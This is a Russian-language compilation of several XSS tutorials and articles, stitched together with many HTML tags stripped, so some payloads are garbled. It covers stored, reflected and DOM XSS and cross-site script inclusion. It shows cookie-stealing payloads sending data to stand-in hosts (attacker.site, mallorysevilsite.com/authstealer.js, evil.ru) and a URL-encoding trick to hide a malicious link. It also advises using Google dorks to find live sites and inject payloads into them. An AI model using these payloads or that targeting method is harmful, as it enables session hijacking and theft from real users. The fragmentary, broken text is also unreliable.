Межсайтовый скриптинг xss. Easy Hack: Как добыть данные через Cross Site Scripting Inclusion. Командование своим ботом
Межсайтовые скрипты (XSS) относятся к атаке инъекции кода на стороне клиента, в которой злоумышленник может выполнять вредоносные скрипты на веб-сайте или веб-приложении. XSS является одним из наиболее распространенных уязвимостей веб-приложения и происходит, когда веб-приложение не использует валидацию или кодирование вводимы-выводимых данных.
Используя XSS, злоумышленник не нацеливается непосредственно на жертву. Вместо этого он воспользуется уязвимостью веб-сайта или веб-приложения, которое посетит жертва, по существу используя уязвимый веб-сайт в качестве средства доставки вредоносного сценария в браузер жертвы.
В то время как XSS может быть использован в VBScript, ActiveX и Flash (хотя последний в настоящее время считается устаревшим), бесспорно, им наиболее широко злоупотребляют в JavaScript – в первую очередь потому, что JavaScript имеет фундаментальное значение для большинства сайтов.
Как работает межсайтовый скрипт
Чтобы запустить вредоносный код JavaScript в браузере жертвы, злоумышленник должен сначала найти способ внедрить полезные данные на веб-страницу, которую посещает жертва. Конечно, злоумышленник может использовать методы социальной инженерии, чтобы убедить пользователя посетить уязвимую страницу с введенной полезной нагрузкой JavaScript.
Для атаки на XSS уязвимый веб-сайт должен непосредственно включать пользовательский ввод на своих страницах. Затем злоумышленник может вставить строку, которая будет использоваться на веб-странице и обрабатываться браузером жертвы как код.
Следующий псевдо-код на стороне сервера используется для отображения последнего комментария на веб-странице.
Print "" print "Most recent comment" print database.latestComment print "" Приведенный выше скрипт просто распечатывает последний комментарий из базы данных комментариев и печатает содержимое на HTML-странице, предполагая, что распечатанный комментарий состоит только из текста.
Вышеупомянутый код страницы уязвим к xss, потому что злоумышленник может оставить комментарий, который содержит вредоносную нагрузку, например
doSomethingEvil();. Пользователи, посещающие веб-страницу, получат следующую HTML-страницу.
Most recent comment doSomethingEvil(); Когда страница загружается в браузере жертвы, вредоносный скрипт злоумышленника будет выполняться, чаще всего без осознания или возможности пользователя предотвратить такую атаку.
Важное примечание: -xss-уязвимость может существовать только если полезная нагрузка (вредоносный скрипт), который злоумышленник вставляет, в конечном счете обрабатывается (как HTML в данном случае) в браузере жертвы
Что может сделать злоумышленник с JavaScript?
Последствия того, что злоумышленник может сделать с возможностью выполнения JavaScript на веб-странице, могут не сразу проявиться, тем более что браузеры запускают JavaScript в очень жестко контролируемой среде и что JavaScript имеет ограниченный доступ к операционной системе пользователя и файлам пользователя.
Однако, учитывая, что JavaScript имеет доступ к следующему, легче понять, что творческие злоумышленники могут получить с JavaScript.
Вредоносный JavaScript имеет доступ ко всем тем же объектам, что и остальная часть веб-страницы, включая доступ к cookies. Файлы cookie часто используются для хранения маркеров сеансов, если злоумышленник может получить файл cookie сеанса пользователя, он может олицетворять этого пользователя.
JavaScript может использовать XMLHttpRequest для отправки http-запросов с произвольным содержанием в произвольных направлениях.
JavaScript в современных браузерах может использовать API HTML5, такие как доступ к геолокации пользователя, веб-камера, микрофон и даже конкретные файлы из файловой системы пользователя. В то время как большинство из этих API требуют участия пользователя, XSS в сочетании с некоторой умной социальной инженерией может принести злоумышленнику неплохие результаты.
Вообще, в сочетании с социальной инженерией, это способы позволяют злоумышленникам организовывать такие атаки, как кражу кук, кейлоггинг, фишинг и кражи личных данных. Критично, что уязвимости XSS обеспечивают идеальную почву для нападающих для эскалации атак на более серьезные.
Разве межсайтовые скрипты не проблема пользователя?
Нет. Если злоумышленник может злоупотребить уязвимостью XSS на веб-странице, чтобы выполнить произвольный JavaScript в браузере посетителя, безопасность этого веб-сайта или веб - приложения и его пользователей была скомпрометирована-xss не является проблемой пользователя, как и любая другая Уязвимость безопасности, если она затрагивает ваших пользователей, это повлияет на вас.
Анатомия межсайтовой скриптовой атаки
Для Xss-атаки нужны три участника: сайт, жертва и нападающий. В приведенном ниже примере предполагается, что целью злоумышленника является выдача себя за жертву путем кражи куки жертвы. Отправка файлов cookie на сервер злоумышленника может быть осуществлена различными способами, одним из которых является выполнение следующего кода JavaScript в браузере жертвы с помощью уязвимости XSS.
window.?cookie=” + document.cookie На рисунке ниже показано пошаговое руководство по простой атаке XSS.
- Злоумышленник вводит полезные данные в базу данных веб-сайта, отправляя уязвимую форму с помощью вредоносного кода JavaScript
- Жертва запрашивает веб-страницу с веб-сайта
- Веб-сайт служит браузеру жертвы страница с полезной нагрузкой злоумышленника как часть тела HTML.
- Браузер жертвы будет выполнять вредоносный скрипт внутри тела HTML. В этом случае он отправит куки жертвы на сервер злоумышленника. Теперь злоумышленник должен просто извлечь файл cookie жертвы, когда HTTP-запрос поступает на сервер, после чего злоумышленник может использовать украденный файл cookie жертвы.
Ниже приведен небольшой список сценариев атаки XSS, которые злоумышленник может использовать для нарушения безопасности веб-сайта или веб-приложения.
тег
Этот тег является наиболее прямой xss уязвимостью. Тег script может ссылаться на внешний код JavaScript.
alert("XSS"); тег
При xss инъекция может быть доставлена внутрь тега с помощью onload атрибута или другим более темным атрибутом, таким как background.
тег Некоторые браузеры будут выполнять JavaScript, когда он находится в .
тег Этот тег позволяет встраивать другую HTML-страницу в родительскую. IFrame может содержать JavaScript, однако важно отметить, что JavaScript в iFrame не имеет доступа к DOM родительской страницы из-за политики безопасности содержимого браузера (CSP). Тем не менее, IFrames по-прежнему являются очень эффективным средством для фишинговых атак.
тег
В некоторых браузерах, если этот type атрибут тега имеет значение image, он может использоваться для размещения скрипта.
тег
В теге, который часто используется для ссылки на внешние таблицы стилей, могут содержаться скрипт.
теги можно указать фон, и поэтому вставить скрипт.
тег Этот тег может использоваться для включения в скрипт с внешнего сайта. Уязвим ли ваш сайт для межсайтового скриптинга? Уязвимости XSS являются одними из наиболее распространенных уязвимостей веб-приложений в интернете. К счастью, легко проверить, если ваш веб-сайт или веб-приложение уязвимы для XSS и других уязвимостей, просто обратившись ко мне. Я за небольшую плату с помощью специальных программ просканирую ваш ресурс, найду потенциальные уязвимости и подскажу, как их устранить. Ори Сигал (Ory Segal) Узнайте, как хакеры используют атаку типа "межсайтовый скриптинг", что она повреждает (а что - нет), как их определять, а также как защитить свой Web-сайт и его посетителей от подобных злоумышленных нарушений конфиденциальности и безопасности. Межсайтовый скриптинг (cross-site scripting, или сокращенно XSS) - это одна из самых частых атак уровня приложения, которую хакеры используют для взлома Web-приложений. XSS - это атака на конфиденциальность информации клиентов определенного Web-сайта. Она может привести к полному разрушению системы безопасности, когда данные клиента крадутся и используются в дальнейшем для каких-либо целей. Большинство атак подразумевает участие двух сторон: либо злоумышленника и Web-сайт, либо злоумышленника и жертву-клиента. Однако в атаке XSS участвуют три стороны: злоумышленник, клиент и Web-сайт. Целью атаки XSS является кража с компьютера клиента файлов cookie или другой конфиденциальной информации, которая может идентифицировать клиента на Web-сайте. Располагая информацией для идентификации в качестве легального пользователя, злоумышленник может действовать на сайте в качестве такого пользователя, т.е. притворяться им. Например, при одном аудите, проводимом в большой компании, можно было с помощью атаки XSS получить частную информацию пользователя и номер его кредитной карты. Это было достигнуто путем запуска специального кода на JavaScript. Этот код был запущен в браузере жертвы (клиента), у которой были привилегии доступа на Web-сайт. Есть очень ограниченное число привилегий JavaScript, которые не дают доступ скрипта ни к чему, кроме информации, относящейся к сайту. Важно подчеркнуть, что, хотя уязвимость и существует на Web-сайте, сам он напрямую не повреждается. Но этого достаточно, чтобы скрипт собрал файлы cookie и отправил их злоумышленнику. В итоге злоумышленник получает нужные данные и может имитировать жертву. Давайте назовем атакуемый сайт следующим образом: www.vulnerable.site . В основе традиционной атаки XSS лежит уязвимый скрипт, который находится на уязвимом сайте. Этот скрипт считывает часть HTTP-запроса (обычно параметры, но иногда также HTTP-заголовки или путь) и повторяет его для ответной страницы, полностью или только часть. При этом не производится очистка запроса (т.е. не проверяется, что запрос не содержит код JavaScript или тэги HTML). Предположим, что этот скрипт называется welcome.cgi, и его параметром является имя. Его можно использовать следующим образом: Как этим можно злоупотребить? Злоумышленник должен суметь завлечь клиента (жертву), чтобы он щелкнул мышью ссылку, которую злоумышленник ему предоставляет. Это тщательно и злонамеренно подготовленная ссылка, которая заставляет Web-браузер жертвы обратиться к сайту (www.vulnerable.site) и выполнить уязвимый скрипт. Данные для этого скрипта содержат код на JavaScript, который получает доступ к файлам cookie, сохраненным браузером клиента для сайта www.vulnerable.site. Это допускается, поскольку браузер клиента "думает", что код на JavaScript исходит от сайта www.vulnerable.site. А модель безопасности JavaScript позволяет скриптам, исходящим от определенного сайта, получать доступ к файлам cookie, которые принадлежат этому сайту. Ответ уязвимого сайта будет следующим:
Браузер клиента-жертвы интерпретирует этот запрос как HTML-страницу, содержащую часть кода на JavaScript. Этот код при выполнении получит доступ ко всем файлам cookie, принадлежащим сайту www.vulnerable.site. Следовательно, он вызовет всплывающее окно в браузере, показывающее все файлы cookie клиента, которые относятся к www.vulnerable.site. Конечно, реальная атака подразумевала бы отправку этих файлов атакующему. Для этого атакующий может создать Web-сайт (www.attacker.site) и использовать скрипт для получения файлов cookie. Вместо вызова всплывающего окна злоумышленник написал бы код, который обращается по URL-адресу к сайту www.attacker.site. В связи с этим выполняется скрипт для получения файлов cookie. Параметром для этого скрипта служат украденные файлы cookie. Таким образом, злоумышленник может получить файлы cookie с сервера www.attacker.site. Немедленно после загрузки этой страницы браузер выполнит вставленный туда код JavaScript и перешлет запрос скрипту collect.cgi на сайте www.attacker.site вместе со значением файлов cookie с сайта www.vulnerable.site, которые уже есть в браузере. Это подрывает безопасность файлов cookie сайта www.vulnerable.site, которые есть у клиента. Это позволяет злоумышленнику притвориться жертвой. Конфиденциальность клиента полностью нарушена. Примечание.
Атака может произойти только в браузере жертвы, том же самом, который использовался для доступа к сайту (www.vulnerable.site). Атакующий должен заставить клиента получить доступ к вредоносной ссылке. Этого можно добиться несколькими способами.
Вредоносный код на JavaScript может получить доступ к любой перечисленной ниже информации:
Данные для идентификации, авторизации и аутентификации обычно хранятся в виде файлов cookie. Если эти файлы cookie постоянные, то жертва уязвима для атаки даже тогда, когда она не использует браузер в момент доступа к сайту www.vulnerable.site. Однако если файлы cookie - временные (например, они хранятся в оперативной памяти), то на стороне клиента должен существовать сеанс связи с сайтом www.vulnerable.site. Еще одна возможная реализация идентификационной метки - это параметр URL. В подобных случаях можно получить доступ к другим окнам, используя JavaScript следующим образом (предположим, что имя страницы с нужными параметрами URL - foobar):
Чтобы запустить скрипт на JavaScript, можно использовать множество тэгов HTML, помимо . На самом деле, вредоносный код JavaScript также можно разместить на другом сервере, а затем заставить клиента загрузить скрипт и выполнить его. Это может быть полезным, если нужно запустить большой объем кода, либо если код содержит специальные символы. Вот несколько вариаций этих возможностей.
Иногда данные, внедренные в ответную страницу, находятся в платном HTML-контексте. В этом случае сначала нужно "сбежать" в бесплатный контекст, а затем предпринять атаку XSS. Например, если данные вставляются в качестве значения по умолчанию для поля формы HTML: А итоговый код HTML будет следующим:
Что такое XSS-уязвимость? Стоит ли ее опасаться? Межсайтовый скриптинг (сокращенно XSS) - широко распространенная уязвимость, затрагивающая множество веб-приложений. Она позволяет злоумышленнику внедрить вредоносный код в веб-сайт таким образом, что браузер пользователя, зашедшего на сайт, выполнит этот код. Обычно для эксплуатации подобной уязвимости требуется определенное взаимодействие с пользователем: либо его заманивают на зараженный сайт при помощи социальной инженерии, либо просто ждут, пока тот сам посетит данный сайт. Поэтому разработчики часто не воспринимают всерьез XSS-уязвимости. Но если их не устранять, это может нести серьезную угрозу безопасности. Представим, что мы находимся в панели администратора WordPress, добавляем новый контент. Если мы используем для этого уязвимый к XSS плагин, он может заставить браузер создать нового администратора, видоизменить контент и выполнить другие вредоносные действия. Межсайтовый скриптинг предоставляет злоумышленнику практически полный контроль над самым важным программным обеспечением в наши дни - браузером. XSS: Уязвимость для инъекцииЛюбой веб-сайт или приложение имеет несколько мест ввода данных -полей формы до самого URL. Простейший пример вводимых данных - когда мы вписываем имя пользователя и пароль в форму: Рисунок 1. Форма ввода данных Наше имя будет храниться в базе данных сайта для последующего взаимодействия с нами. Наверняка, когда вы проходили авторизацию на каком-либо сайте, вы видели персональное приветствие в стиле «Добро пожаловать, Илья». Именно для таких целей имена пользователей хранятся в базе данных. Инъекцией называется процедура, когда вместо имени или пароля вводится специальная последовательность символов, заставляющая сервер или браузер отреагировать определенным, нужным злоумышленнику образом. Межсайтовым скриптингом называется инъекция, внедряющая код, который будет выполнять действия в браузере от имени веб-сайта. Это может происходить как с уведомлением пользователя, так и в фоновом режиме, без его ведома. Рисунок 2. Наглядная схема межсайтового скриптинга В качестве простейшего примера можно привести элементарный скрипт, показывающий окно с уведомлением. Выглядит он примерно так: Таблица 1. Скрипт, вызывающий всплывающее окно alert(" ЭТО XSS- УЯЗВИМОСТЬ !!!") Данный скрипт вызывает окно с надписью «ЭТО XSS-УЯЗВИМОСТЬ!!!». Браузер пользователя воспринимает и выполняет этот скрипт как часть легитимного кода сайта. Типы XSS-уязвимостейНе все уязвимости XSS одинаковы, их существует множество типов. Здесь перечислены типы и способы их взаимодействия: Рисунок 3. Типы XSS-уязвимостей Уязвимости, вызванные кодом на стороне сервера (Java, PHP, .NET и т. д.): Традиционные XSS-атаки: Уязвимости, вызванные кодом на стороне клиента (JavaScript, Visual Basic, Flash и т. д.): Также известные как DOM-модели: Уязвимости, вызванные инфраструктурой (браузер, плагины, сервера и т. д.): Встречаются очень редко, но являются более опасными: Уязвимости, вызванные пользователем: Как можно защитить свой сайт от XSS? Как проверить код на наличие уязвимости? Существуют технологии вроде Sucuri Firewall, специально разработанные для того, чтобы избежать подобных атак. Но если вы разработчик, вы, безусловно, захотите узнать подробнее, как идентифицировать и устранить XSS-уязвимости. Об этом мы поговорим в следующей части статьи, посвященной XSS.
Межсайтовый скриптинг (XSS) – это уязвимость, которая заключается во внедрении кода, исполняемого на стороне клиента (JavaScript) в веб-страницу, которую просматривают другие пользователи. Уязвимость возникает из-за недостаточной фильтрации данных, которые пользователь отправляет для вставки в веб-страницу. Намного проще понять на конкретном пример. Вспомните любую гостевую книгу – это программы, которые предназначены для принятия данных от пользователя и последующего их отображения. Представим себе, что гостевая книга никак не проверяет и не фильтрует вводимые данные, а просто их отображает. Можно набросать свой простейший скрипт (нет ничего проще, чем писать плохие скрипты на PHP – этим очень многие занимаются). Но уже предостаточно готовых вариантов. Например, я предлагаю начать знакомство с Dojo и OWASP Mutillidae II. Там есть похожий пример. В автономной среде Dojo перейдите в браузере по ссылке: http://localhost/mutillidae/index.php?page=add-to-your-blog.php Если кто-то из пользователей ввёл: Привет! Как дела. То веб-страница отобразит: Привет! Как дела. А если пользователь введёт так: Привет! Как дела. alert("Pwned") То отобразиться это так: Браузеры хранят множества Cookie большого количества сайтов. Каждый сайт может получить кукиз только сохранённые им самим. Например, сайт example.com сохранил в вашем браузере некоторые кукиз. Вы заши на сайт another.com, этот сайт (клиентские и серверные скрипты) не могут получить доступ к кукиз, которые сохранил сайт example.com. Если сайт example.com уязвим к XSS, то это означает, что мы можем тем или иным способом внедрить в него код JavaScript, и этот код будет исполняться от имени сайта example.com! Т.е. этот код получит, например, доступ к кукиз сайта example.com. Думаю, все помнят, что исполняется JavaScript в браузерах пользователей, т.е. при наличии XSS, внедрённый вредоносный код получает доступ к данным пользователя, который открыл страницу веб-сайта. Внедрённый код умеет всё то, что умеет JavaScript, а именно:
Простейший пример с cookie: alert(document.cookie) На самом деле, alert используется только для выявления XSS. Реальная вредоносная полезная нагрузка осуществляет скрытые действия. Она скрыто связывается с удалённым сервером злоумышленника и передаёт на него украденные данные. Виды XSSСамое главное, что нужно понимать про виды XSS то, что они бывают:
Пример постоянных:
Пример непостоянных:
Ещё выделяют (некоторые в качестве разновидности непостоянных XSS уязвимостей, некоторые говорят, что этот вид может быть и разновидностью постоянной XSS):
Если сказать совсем просто, то злонамеренный код «обычных» непостоянных XSS мы можем увидеть, если откроем HTML код. Например, ссылка сформирована подобным образом: Http://example.com/search.php?q="/>alert(1) А при открытии исходного HTML кода мы видим что-то вроде такого: < div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >alert(1)" /> < button type = "submit" class = "ui-button" >Найти А DOM XSS меняют DOM структуру, которая формируется в браузере на лету и увидеть злонамеренный код мы можем только при просмотре сформировавшейся DOM структуры. HTML при этом не меняется. Давайте возьмём для примера такой код: < html > < head > < title >сайт:::DOM XSS < meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > < body > < div id = "default" > An error occurred... < script > function OnLoad() { var foundFrag = get_fragment(); return foundFrag; } function get_fragment() { var r4c = "(.*?)"; var results = location.hash.match(".*input=token(" + r4c + ");") if (results) { document.getElementById("default").innerHTML = ""; return (unescape(results)); } else { return null; } } display_session = OnLoad(); document.write("Your session ID was: " + display_session + "< br >< br >") То в браузере мы увидим: Исходный код страницы: Давайте сформируем адрес следующим образом: Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1); Теперь страница выглядит так: Но давайте заглянем в исходный код HTML: Там совершенно ничего не изменилось. Про это я и говорил, нам нужно смотреть DOM структуру документа, чтобы выявить злонамеренный код: Здесь приведён рабочий прототип XSS, для реальной атаки нам нужна более сложная полезная нагрузка, которая невозможна из-за того, что приложение останавливает чтение сразу после точки с запятой, и что-то вроде alert(1);alert(2) уже невозможно. Тем не менее, благодаря unescape() в возвращаемых данных мы можем использовать полезную нагрузку вроде такой: Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2); Где мы заменили символ ; на кодированный в URI эквивалент! Теперь мы можем написать вредоносную полезную нагрузку JavaScript и составить ссылку для отправки жертве, как это делается для стандартного непостоянного межсайтового скриптинга. XSS AuditorВ Google Chrome (а также в Opera, которая теперь использует движок Google Chrome), меня ждал вот такой сюрприз: dom_xss.html:30 The XSS Auditor refused to execute a script in ‘http://localhost/tests/XSS/dom_xss.html#input=token<script>alert(1);’ because its source code was found within the request. The auditor was enabled as the server sent neither an ‘X-XSS-Protection’ nor ‘Content-Security-Policy’ header. Т.е. теперь в браузере есть XSS аудитор, который будет пытаться предотвращать XSS. В Firefox ещё нет такой функциональности, но, думаю, это дело времени. Если реализация в браузерах будет удачной, то можно говорить о значительном затруднении применения XSS. Полезно помнить, что современные браузеры предпринимают шаги по ограничение уровня эксплуатации проблем вроде непостоянных XSS и основанных на DOM XSS. В том числе это нужно помнить при тестировании веб-сайтов с помощью браузера – вполне может оказаться, что веб-приложение уязвимо, но вы не видите всплывающего подтверждения только по той причине, что его блокирует браузер. Примеры эксплуатирования XSSЗлоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Здесь описаны векторы атак для каждого класса. При уязвимостях XSS в атаках может использоваться BeEF, который расширяет атаку с веб-сайта на локальное окружение пользователей. Пример атаки с непостоянным XSS 1. Алиса часто посещает определённый веб-сайт, который хостит Боб. Веб-сайт Боба позволяет Алисе осуществлять вход с именем пользователя/паролем и сохранять чувствительные данные, такие как платёжная информация. Когда пользователь осуществляет вход, браузер сохраняет куки авторизации, которые выглядят как бессмысленные символы, т.е. оба компьютера (клиент и сервер) помнят, что она вошла. 2. Мэлори отмечает, что веб-сайт Боба содержит непостоянную XSS уязвимость: 2.1 При посещении страницы поиска, она вводим строку для поиска и кликает на кнопку отправить, если результаты не найдены, страница отображает введённую строку поиска, за которой следуют слова «не найдено» и url имеет вид http://bobssite.org?q=её поисковый запрос 2.2 С нормальным поисковым запросом вроде слова «собачки » страница просто отображает «собачки не найдено» и url http://bobssite.org?q=собачки , что является вполне нормальным поведением. 2.3 Тем не менее, когда в поиск отправляется аномальный поисковый запрос вроде alert(‘xss’); : 2.3.1 Появляется сообщение с предупреждением (которое говорит «xss»). 2.3.2 Страница отображает alert(‘xss’); не найдено наряду с сообщением об ошибке с текстом ‘xss’. 2.3.3 url, пригодный для эксплуатации http://bobssite.org?q=alert(‘xss’); 3. Мэлори конструирует URL для эксплуатации уязвимости: 3.1 Она делает URL http://bobssite.org?q=puppies . Она может выбрать конвертировать ASCII символы в шестнадцатеричный формат, такой как http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E для того, чтобы люди не смогли немедленно расшифровать вредоносный URL. 3.2 Она отправляет e-mail некоторым ничего не подозревающим членом сайта Боба, говоря: «Зацените клёвых собачек». 4. Алиса получает письмо. Она любит собачек и кликает по ссылке. Она переходит на сайт Боба в поиск, она не находит ничего, там отображается «собачки не найдено», а в самой середине запускается тэг со скриптом (он невидим на экране), загружает и выполняет программу Мэлори authstealer.js (срабатывание XSS атаки). Алиса забывает об этом. 5. Программа authstealer.js запускается в браузере Алисы так, будто бы её источником является веб-сайт Боба. Она захватывает копию куки авторизации Алисы и отправляет на сервер Мэлори, где Мэлори их извлекает. 7. Теперь, когда Мэлори внутри, она идёт в платёжный раздел веб-сайта, смотрит и крадёт копию номера кредитной карты Алисы. Затем она идёт и меняет пароль, т.е. теперь Алиса даже не может больше зайти. 8. Она решает сделать следующий шаг и отправляет сконструированную подобным образом ссылку самому Бобу, и таким образом получает административные привилегии сайта Боба. Атака с постоянным XSS Дорки для XSS Первым шагом является выбор сайтов, на которых мы будем выполнять XSS атаки. Сайты можно искать с помощью дорков Google. Вот несколько из таких дорков, которые скопируйте и вставьте в поиск Гугла:
Перед нами откроется список сайтов. Нужно открыть сайт и найти на нём поля ввода, такие как форма обратной связи, форма ввода, поиск по сайту и т.д. Сразу замечу, что практически бесполезно искать уязвимости в популярных автоматически обновляемых веб-приложениях. Классический пример такого приложения – WordPress. На самом деле, уязвимости в WordPress, а в особенности в его плагинах, имеются. Более того, есть множество сайтов, которые не обновляют ни движок WordPress (из-за того, что веб-мастер внёс в исходный код какие-то свои изменения), ни плагины и темы (как правило, это пиратские плагины и темы). Но если вы читаете этот раздел и узнаёте из него что-то новое, значит WordPress пока не для вас… К нему обязательно вернёмся позже. Самые лучшие цели – это разнообразные самописные движки и скрипты. В качестве полезной нагрузки для вставки можно выбрать alert(1) Обращайте внимание, в какие именно тэги HTML кода попадает ваш внедрённый код. Вот пример типичного поля ввода < input type = "text" class = "ui-input query" name = "q" value = "наволочка" />< script >alert(1)< input value = "" /> Наша полезная нагрузка попадёт туда, где сейчас слово «наволочка». Т.е. превратиться в значение тэга input . Мы можем этого избежать – закроем двойную кавычку, а затем и сам тэг с помощью «/> "/>alert(1) Программы для поиска и сканирования XSS уязвимостиНаверное, все сканеры веб-приложений имеют встроенный сканер XSS уязвимостей. Эта тема неохватная, лучше знакомиться с каждым подобным сканером отдельно. Имеются также специализированные инструменты для сканирования на XSS уязвимости. Среди них особенно можно выделить:
Большинство наборов уязвимых веб-приложений (кроме некоторых узкоспециальных) имеют в своём составе сайты, уязвимые к XSS. Самым лучшим вариантом является их использование в автономной среде обучения Dojo , который собрал множество приложений для тестирования. Например, свои навыки по выявлению и эксплуатации XSS можно тренировать на: Damn Vulnerable Web App (DVWA):
Mutillidae/NOWASP (очень много самых разнообразных вариаций XSS)
Про возможность получения различной информации со сторонних сайтов с помощью простой атаки - Cross Site Scripting Inclusion (XSSI). Если ты читаешь Easy Hack систематически, то, наверное, уже хорошо знаком с Same Origin Policy (SOP), мы к нему часто возвращаемся. Из-за SOP возможность взаимодействия между двумя «сайтами» очень ограничена. Но так как задача получения и оправки информации на одном сайте с другого возникает часто, то были внедрены различные методы для «смягчения» политики и организации взаимодействия. Например, такие, как CORS или crossdomain.xml. Один из более старых методов - подгрузка JavaScript с другого домена через тег . SOP нас здесь ничем не ограничивает: можно указать практически произвольное месторасположение. К примеру, есть хост атакующего evil.ru и сайт жертвы - victim.com. На evil.ru мы можем положить файл HTML и сослаться на любой скрипт у жертвы:
При входе пользователя на сайт атакующего браузер подгрузит и запустит JS с victim.com, но в контексте SOP evil.ru. Это значит, что из JS самого атакующего мы сможем получить доступ к данным (не всем) JS с сервера жертвы. Например, содержимое JS c cайта-жертвы (http://victim.com/any_script_.js): Var a = "12345"; Тогда на сайте атакующего мы можем получить значение переменной: console.log(a); Идея работы проста, как алюминиевый чайник. По сути, возможность подгружать с других сайтов статический JS несет в себе не больше проблем для сайта-жертвы, чем погрузка картинки. Проблемы могут возникнуть, когда JS формируется динамически, то есть когда контент JS-скрипта меняется на основании данных из cookie в зависимости от того, какой пользователь к нему обращается. Например, в JS хранится какая-то «критичная» информация: персональные сведения (email, имя пользователя на сайте-жертве) или техническая инфа (анти CSRF-токены). Но, как мы знаем, при подгрузке скрипта через тег браузер пользователя автоматически отправляет cookie пользователя. Сложив эти факты, мы получаем возможность получать информацию о любом пользователе, который зашел на сайт атакующего и при этом залогинен на сайте-жертве. Что же мы можем узнать? Глобальные переменные и результаты работы глобальных функций. К сожалению, доступа к внутренним переменным/функциям нам не получить (хотя, возможно, кто-то найдет способ сделать и это). Function test(){ return "private data frm function"; } Такая атака выглядит возможной, но кажется, что она слишком проста и не должна быть распространенной. Этим и интересна презентация на Black Hat. Исследователи проанализировали 150 популярных сайтов и обнаружили, что в той или иной мере уязвима треть из них. Такая статистика заставляет взглянуть на проблему чуть более пристально. Была выявлена и еще одна закономерность. Content Security Policy становится все более распространенной. Как ты знаешь, с ней мы можем указать, с каких доменов может быть подгружен тот или иной ресурс. Например, можно сказать исполнять JS только с того же ресурса. Кроме того, лучшие практики настройки CSP подразумевают запрет на запуск inline JS (то есть кода, который находится прямо в HTML, а не подгружен из JS-файла). Однако перенос inline в файлы может быть сделан с костылями и на скорую руку - то есть посредством динамически генерируемых скриптов. Так как CSP никак не влияет на XSSI, мы опять-таки можем проводить наши атаки. Вот такая вот bad practice. |